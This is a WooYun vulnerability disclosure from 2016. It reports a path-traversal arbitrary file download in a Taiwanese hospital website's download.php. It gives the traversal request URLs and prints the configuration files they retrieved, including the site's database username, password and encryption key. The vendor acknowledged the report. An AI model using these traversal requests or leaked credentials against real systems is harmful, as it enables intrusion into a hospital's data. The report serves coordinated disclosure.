当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0167299

漏洞标题:基督復臨安息日會醫療財團法人臺安醫院任意文件下载(臺灣地區)

相关厂商:Hitcon台湾互联网漏洞报告平台

漏洞作者: j0k3r

提交时间:2016-01-05 09:33

修复时间:2016-02-20 15:48

公开时间:2016-02-20 15:48

漏洞类型:任意文件遍历/下载

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-05: 细节已通知厂商并且等待厂商处理中
2016-01-08: 厂商已经确认,细节仅向厂商公开
2016-01-18: 细节向核心白帽子及相关领域专家公开
2016-01-28: 细节向普通白帽子公开
2016-02-07: 细节向实习白帽子公开
2016-02-20: 细节向公众公开

简要描述:

rt

详细说明:

目标:http://**.**.**.**
构造,

http://**.**.**.**/orthopedics/download.php?name=../../orthopedics/download.php


1.png


mysql配置文件下载,

http://**.**.**.**/orthopedics/download.php?name=../../lib/dbkeyfunc_mysql/dbkeyfunc_mysql.inc.php


dbkeyfunc_mysql.inc.php中

<?php
$DBhost ="localhost";
$DBuser = "cash";
$DBpass = "cash1979417";
$dbhost = "localhost";
$dbuser = "cash";
$dbpass = "cash1979417";
$link = mysql_connect("localhost",$dbuser,$dbpass);
mysql_select_db($dbname,$link);
?>


另一文件,

http://**.**.**.**/orthopedics/download.php?name=../../main/config.inc.php


config.inc.php中

<?php
$dbhost = "localhost";
$dbuser = "cash";
$dbpass = "cash1979417";
$dbhost = "localhost";
//資料庫
$all_db = "tahsdaorgtwmysql8";
//資料表
$categories = "tahsda_categories";
$contents = "tahsda_contents";
$users = "tahsda_users";
$news = "tahsda_news";
$honor = "tahsda_honor";
$video = "tahsda_youtube_tahvideo";
$hire = "tahsda_hire";
$epapertable = "epaper_maillist"; //epaper資料表
$custmermail = "tahsda_custmermail";
//加密及解密函數鍵值
$password_key = "tahsda123949";
//選取資料數
$limit = "10";
$db = mysql_connect($dbhost,$dbuser,$dbpass);
mysql_select_db($all_db,$db);
//存入utf8格式
mysql_query("SET NAMES 'utf8'");
// 去除 Magic Quotes 的影響
if (get_magic_quotes_gpc())
{
$_GET = array_map('stripslashes', $_GET);
$_POST = array_map('stripslashes', $_POST);
$_COOKIE = array_map('stripslashes', $_COOKIE);
$_REQUEST = array_map('stripslashes', $_REQUEST);
}
?>


泄露了数据库配置信息,加解密函数键值以及防注入处理

漏洞证明:

1.png


dbkeyfunc_mysql.inc.php中

<?php
$DBhost ="localhost";
$DBuser = "cash";
$DBpass = "cash1979417";
$dbhost = "localhost";
$dbuser = "cash";
$dbpass = "cash1979417";
$link = mysql_connect("localhost",$dbuser,$dbpass);
mysql_select_db($dbname,$link);
?>

修复方案:

..

版权声明:转载请注明来源 j0k3r@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:17

确认时间:2016-01-08 03:38

厂商回复:

感謝通報

最新状态:

暂无